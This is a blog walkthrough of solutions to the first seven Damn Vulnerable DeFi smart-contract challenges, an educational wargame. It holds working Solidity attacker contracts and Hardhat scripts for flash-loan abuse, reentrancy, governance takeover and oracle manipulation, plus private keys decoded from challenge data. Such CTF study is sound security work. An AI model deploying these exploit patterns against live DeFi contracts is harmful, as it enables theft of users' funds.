- Published on
Damn Vulnerable DeFi solutions
- Authors
- Name
- Jonas Merhej
- @bonistech
Introduction
Damn Vulnerable DeFi (DVD) is one of the most known sets of solidity challenges. The creator @tinchoabbate describes it as a wargame to learn the offensive security of DeFi smart contracts.
Recommendation
If you are new to solidity or you are new to smart contracts security, I would recommend first starting with solving Ethernaut from OpenZeppelin. Ethernaut is a set of challenges that focus on teaching solidity basics, alongside some challenges based on DeFi attacks and other real-world attacks.
Carefully read the description of each challenge. Those couple of lines can hide a lot of hints! Remember, in the real world; you don't get hints. Real-world projects are usually well-documented. Consider these texts a mix of documentation and an insight into attackers' minds.
Carefully read the test setups.
Reading imported contracts is very important. Especially contracts that keep reappearing. Most frequently used contracts come from OpenZeppelin's library, which is ATTOW, the industry standard.
Take your time. Try and solve the challenges yourself before looking into the solutions. Even if you don't find a vulnerability, understanding each challenge's mechanism will help you improve your skills.
Challenges
Challenge #1 - Unstoppable
In hindsight, the title is already enough to know where this is going. In this challenge, you must find a way to stop the pool from working. Stopping a program from working is also known as a DoS attack. It is a prevalent vulnerability where an attacker manipulates a system in a way that will make it stop working. Thus Denial of Service.
In the flashLoan
function on line 40 the pool is checking assert(poolBalance == balanceBefore);
. The pool is using the variable poolBalance
as accounting to store its token balance. If we transfer a minimum amount of 1 token to the pool, the actual balance and the balance stored in poolBalance
will differ.
Solution
Transfer 1 (or more) token(s) to the pool to complete the DoS attack:
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
await this.token.connect(attacker).transfer(this.pool.address, 1);
});
Challenge #2 - Naive receiver
NaiveReceiverLenderPool.flashLoan
receives two arguments here. The first is the borrower's address, and the second is the amount to borrow. Since the flashLoan
function is not checking whether the borrower
is the msg.sender
, we can trick the function by passing the address of the FlashLoanReceiver
as the borrower's address. The pool asks for a 1 ether
fee for each executed flashLoan
. We will have to keep executing the flashLoan
function so often until the FlashLoanreceiver
's balance is drained by paying the fees each time.
Solution
We will have to create a contract to execute the attack in one transaction. Inside our attack
function, we will keep calling flashLoan
with the receiver's address as long the receiver's balance is greater than or equal to the pool's fee:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "../../naive-receiver/FlashLoanReceiver.sol";
import "../../naive-receiver/NaiveReceiverLenderPool.sol";
contract NaiveReceiverAttacker {
function attack(address receiver, NaiveReceiverLenderPool pool) external {
while (receiver.balance >= pool.fixedFee()) {
pool.flashLoan(receiver, 0);
}
}
}
Now we only have to deploy our contract and call our attack
function:
/** CODE YOUR EXPLOIT HERE */
const NaiveReceiverAttackerFactory = await ethers.getContractFactory('NaiveReceiverAttacker', attacker);
const naiveReceiverAttacker = await NaiveReceiverAttackerFactory.deploy();
await naiveReceiverAttacker.attack(this.receiver.address, this.pool.address);
Challenge #3 - Truster
Callback functions are the heart of flash loans. But they can also be a huge vulnerability. Calling external code is always dangerous, especially if the code is untrusted. Luckily in our case flashLoan
accepts a target
address, usually a contract, and call data
that allows us to execute any function on the target address.
Solution
Again we need to create a contract to execute this action in one transaction:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../../truster/TrusterLenderPool.sol";
contract TrusterAttacker {
IERC20 private immutable damnValuableToken;
TrusterLenderPool private immutable pool;
constructor(IERC20 tokenAddress, TrusterLenderPool poolAddress) {
damnValuableToken = tokenAddress;
pool = poolAddress;
}
function attack(address attacker) external {
// make the pool approve its balance to this contract's address
uint256 amount = damnValuableToken.balanceOf(address(pool));
bytes memory data = abi.encodeWithSignature("approve(address,uint256)", address(this), amount);
pool.flashLoan(0, address(this), address(damnValuableToken), data);
// transfer the tokens to our EOA
damnValuableToken.transferFrom(address(pool), attacker, amount);
}
}
Deploy and execute attack
:
/** CODE YOUR EXPLOIT HERE */
const TrusterAttackerFactory = await ethers.getContractFactory('TrusterAttacker', attacker);
const trusterAttacker = await TrusterAttackerFactory.deploy(this.token.address, this.pool.address);
await trusterAttacker.attack(attacker.address);
Challenge #4 - Side entrance
If you have ever googled "list of smart contract vulnerabilities", there is a high chance that you have already encountered reentrancy attacks. If you are not familiar with reentrancy attacks yet, I highly recommend you read this article on hackernoon from @kamilpolak.
The catch here is that flashLoan
doesn't include a reentrancy guard.
Solution
In our first call, we will borrow the total amount of ETH in the contract, then on line 33 our contract's execute
function is called, which will again call flashLoan
, but this time is requesting 0 ETH.
Create the following contract:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "../../side-entrance/SideEntranceLenderPool.sol";
contract SideEntranceAttacker is IFlashLoanEtherReceiver {
SideEntranceLenderPool pool;
address payable attacker;
constructor(SideEntranceLenderPool poolAddress, address payable attackerAddress) {
pool = poolAddress;
attacker = attackerAddress;
}
function attack() external {
pool.flashLoan(address(pool).balance);
pool.withdraw();
}
// callback function called in SideEntranceLenderPool.flashLoan
function execute() external override payable {
if (msg.value > 0) {
pool.deposit{value: msg.value}();
pool.flashLoan(0);
}
}
receive() external payable {
// transfer received ETH to our EOA
(bool success,) = attacker.call{value: msg.value}("");
require(success, "Error while transferring ETH");
}
}
Here is what is happening in the second call:
address(this).balance
will now return0
, andamount
is also0
. So therequire
condition on line 31 will also pass.
uint256 balanceBefore = address(this).balance;
require(balanceBefore >= amount, "Not enough ETH in balance");
Now on line 33
IFlashLoanEtherReceiver.execute
is called again, but this time with an amount of 0 ETH. This means theexecute
function will be skipped in our contract. I.e. to line 31, line 35 will also pass now.After the
pool.flashLoan
is finished executing, we callpool.withdraw
. We must implement areceive
function that will transfer the received amount to our EOA.
You guessed it, deploy and attack!
/** CODE YOUR EXPLOIT HERE */
const SideEntranceAttackerFactory = await ethers.getContractFactory('SideEntranceAttacker', attacker);
const sideEntranceAttacker = await SideEntranceAttackerFactory.deploy(this.pool.address, attacker.address);
await sideEntranceAttacker.attack();
Challenge #5 - The rewarder
So far, so good. Now the challenges are becoming more complicated.
As a general rule, if some logic relies on a single snapshot in time instead of continuous/aggregated data points, it can be manipulated by flash loans
This quote is from @cmichel's DVD solutions. I recommend reading his post if you want a slightly different perspective. I also highly recommend reading his other blog posts too.
Even if you are not aware of this vulnerability, most of the time, it is a good practice to reverse engineer a problem.
Starting from the bottom, what do we need?
Solution
- Claim the most rewards in the upcoming round. The only line that transfers rewards tokens is line 79 in TheRewarderPool
rewardToken.mint(msg.sender, rewards);
- For that to happen, we must pass line 78
if(rewards > 0 && !_hasRetrievedReward(msg.sender))
!_hasRetrievedReward(msg.sender)
already returns true
, rewards > 0
is returning false
. All we need to do now is take a huge flash loan, deposit
liquidity that will create a snapshot of the current balances state. But first don't forget to appove
the amount of tokens to deposit to TheRewarderPool
.
Now
withdaw
the deposited tokens and transfer them toTheFlashLoanerPool
to complete the flash loan.After receiving the reward tokens, transfer them to our EOA.
Here's how our code should look like:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "../../the-rewarder/FlashLoanerPool.sol";
import "../../the-rewarder/RewardToken.sol";
import "../../the-rewarder/TheRewarderPool.sol";
contract RewardAttacker {
FlashLoanerPool flashLoanerPool;
RewardToken rewardToken;
TheRewarderPool theRewarderPool;
DamnValuableToken liquidityToken;
constructor(
FlashLoanerPool flashLoanerPoolAddress,
RewardToken rewardTokenAddress,
TheRewarderPool theRewarderPoolAddress,
DamnValuableToken liquidityTokenAddress
) {
flashLoanerPool = flashLoanerPoolAddress;
rewardToken = rewardTokenAddress;
theRewarderPool = theRewarderPoolAddress;
liquidityToken = liquidityTokenAddress;
}
function attack(uint256 amount) external {
// take flash loan from flash loaner pool
flashLoanerPool.flashLoan(amount);
}
// called from FlashLoanerPool.flashLoan
function receiveFlashLoan(uint256 amount) external {
require(msg.sender == address(flashLoanerPool), "msg.sender must be pool");
// deposit in rewarder pool
liquidityToken.approve(address(theRewarderPool), amount);
theRewarderPool.deposit(amount);
// withdraw amount to repay loan
theRewarderPool.withdraw(amount);
liquidityToken.transfer(address(flashLoanerPool), amount);
// transfer tokens to attacker
rewardToken.transfer(
tx.origin,
rewardToken.balanceOf(address(this))
);
}
}
Instead of running a local blockchain and wait 5 days, we can use the evm_increaseTime
rpc method to increase the time for the next block. This only works for some local nodes. Read the hardhat references docs. Now that you know, deploy + attack:
/** CODE YOUR EXPLOIT HERE */
const RewardAttackerFactory = await ethers.getContractFactory('RewardAttacker', attacker);
const rewardAttacker = await RewardAttackerFactory.deploy(
this.flashLoanPool.address,
this.rewardToken.address,
this.rewarderPool.address,
this.liquidityToken.address
);
// Advance time 5 days so that depositors can get rewards
await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days
await rewardAttacker.attack(TOKENS_IN_LENDER_POOL);
Challenge #6 - Selfie
Again, we have a snapshot token. This time, we want to attack the contract that governs the pool. The SimpleGovernance
allows anyone to queue an action as long as they have enough votes. We can take advantage of the SelfiePool.flashLoan
to get as much governance tokens as we can to queue an action to the SimpleGovernance.actions
. Anyone can then execute the queued action after 2 days.
Solution
Our contract should look like this:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../selfie/SelfiePool.sol";
import "../../selfie/SimpleGovernance.sol";
import "../../DamnValuableTokenSnapshot.sol";
contract SelfieAttacker {
SelfiePool selfiePool;
SimpleGovernance simpleGovernance;
address attacker;
constructor(SelfiePool selfiePoolAddress, SimpleGovernance simpleGovernanceAddress, address attackerAddress) {
selfiePool = selfiePoolAddress;
simpleGovernance = simpleGovernanceAddress;
attacker = attackerAddress;
}
function attack(uint256 amount) external {
// take a flash loan from the selfie pool
selfiePool.flashLoan(amount);
}
function receiveTokens(DamnValuableTokenSnapshot governanceToken, uint256 amount) external {
// selfie time
governanceToken.snapshot();
// queue action
bytes memory data = abi.encodeWithSignature(
"drainAllFunds(address)",
attacker
);
simpleGovernance.queueAction(address(selfiePool), data, 0);
bool success = governanceToken.transfer(address(selfiePool), amount);
require(success, "token transfer failed");
}
}
This time, we have to make two transactions. The first will queue the action to drain the funds and then wait two days; the second will execute the queued action. Deploy, wait, and then attack:
/** CODE YOUR EXPLOIT HERE */
const SelfieAttackerFactory = await ethers.getContractFactory('SelfieAttacker', attacker);
const selfieAttacker = await SelfieAttackerFactory.deploy(this.pool.address, this.governance.address, attacker.address);
await selfieAttacker.attack(TOKENS_IN_POOL);
await ethers.provider.send("evm_increaseTime", [2 * 24 * 60 * 60]); // wait 2 days
// assuming action ID is 1 because no other actions were queued here before
// in a real-life event, this value can be read from the blockchain
await this.governance.executeAction(1);
Challenge #7 - Compromised
This one is a bit different. Although the title itself is a big hint. We say a private key is compromised, when an unauthorized entity determines what the private key is. The server response is returning a sequence of bytes. In JavaScript this can be represented by a Buffer. The only way to tackle this challenge is to guess. We can try to manipulate the data and hope to get something interesting.
Solution
We have two lines of bytes sequences. Let's decode them:
First sequence: 4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35
Second sequence: 4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34
After decoding it we get this string:
First hex: MHhjNjc4ZWYxYWE0NTZkYTY1YzZmYzU4NjFkNDQ4OTJjZGZhYzBjNmM4YzI1NjBiZjBjOWZiY2RhZTJmNDczNWE5
Second hex: MHgyMDgyNDJjNDBhY2RmYTllZDg4OWU2ODVjMjM1NDdhY2JlZDliZWZjNjAzNzFlOTg3NWZiY2Q3MzYzNDBiYjQ4
This looks like a base64 string. Let's decode it again. We get this:
First private key: 0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9
Second private key: 0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48
No we have 2 64 hex characters strings (excluding the 0x
) which means we have 32 bytes strings. An ethereum private key has the length of 32 bytes. To create an account, the public key (account's address) is generated from the private key using the Elliptic Curve Digital Signature Algorithm, also known as secp256k1
curve. You get a public address for your account by taking the last 20 bytes of the keccak256
hash of the public key and adding 0x
to the beginning.
Ethers allows us to create a wallet by giving it a private key (optionally add a provider to enable making transactions). The generated public keys are the following:
First public key: 0xe92401A4d3af5E446d93D11EEc806b1462b39D15
Second public key: 0x81A5D6E50C214044bE44cA0CB057fe119097850c
Now we have two of the three trusted reporters. This means we override the NFT price. Here's the code:
/** CODE YOUR EXPLOIT HERE */
const serverResponse = [
"4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35",
"4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34"
];
// get wallets
const compromisedWallets = [];
for (let i = 0; i < serverResponse.length; i++) {
const res = serverResponse[i];
const sanitizedResponse = res.replaceAll(" ", "");
const encodedPrivateKeyAsBytes64 = Buffer.from(sanitizedResponse, `hex`).toString(`utf8`);
const privateKey = Buffer.from(encodedPrivateKeyAsBytes64, `base64`).toString(`utf8`);
compromisedWallets.push(new ethers.Wallet(privateKey, ethers.provider));
// reduce price to 0 because exchange pays back the price difference, so we can maximize our profits
await this.oracle.connect(compromisedWallets[i])
.postPrice("DVNFT", 0);
}
// buy a DVNFT, pay more than 0 because exchange does not accept a payment of 0 ETH
await this.exchange.connect(attacker).buyOne({value: ethers.utils.parseEther("0.01")});
// change price to initial exchange balance to drain its funds
for (let i = 0; i < compromisedWallets.length; i++) {
await this.oracle.connect(compromisedWallets[i])
.postPrice("DVNFT", EXCHANGE_INITIAL_ETH_BALANCE);
}
// sell the DVNFT
const tokenId = 0;
await this.nftToken.connect(attacker).approve(this.exchange.address, tokenId);
await this.exchange.connect(attacker).sellOne(tokenId);
// change price to initial NFT price to pass the last test check
for (let i = 0; i < compromisedWallets.length; i++) {
await this.oracle.connect(compromisedWallets[i])
.postPrice("DVNFT", INITIAL_NFT_PRICE);
}